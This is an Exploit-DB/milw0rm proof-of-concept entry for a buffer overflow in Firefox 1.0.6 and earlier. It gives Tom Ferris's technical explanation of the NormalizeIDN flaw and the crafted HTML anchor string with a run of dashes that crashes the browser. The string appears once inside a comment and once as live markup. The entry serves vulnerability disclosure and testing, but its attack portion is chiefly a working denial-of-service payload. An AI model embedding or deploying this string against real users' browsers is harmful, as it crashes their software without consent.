Mozilla Products - 'Host:' Buffer Overflow (Denial of Service) (PoC) String

Author: Tom Ferris
type: dos
platform: multiple
port: 
date_added: 2005-09-08 
date_updated: 2016-05-25 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comfirefox106.exe

<!--

Mozilla Firefox <= 1.0.6 (Host:) Buffer Overflow DoS String
Formatted for your tesing /str0ke

Tom Ferris
www.security-protocols.com

Versions Affected:
Firefox Win32 1.0.6 and prior
Firefox Linux 1.0.6 and prior
Firefox 1.5 Beta 1 (Deer Park Alpha 2)

Technical Details:
The problem seems to be when a hostname which has all dashes causes the
NormalizeIDN call in nsStandardURL::BuildNormalizedSpec to return true,
but is sets encHost to an empty string.  Meaning, Firefox appends 0 to
approxLen and then appends the long string of dashes to the buffer
instead.  The following HTML code below will reproduce this issue:

String:
<A HREF=https:--------------------------------------------- >

-->

<A HREF=https:­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ >

# milw0rm.com [2005-09-09]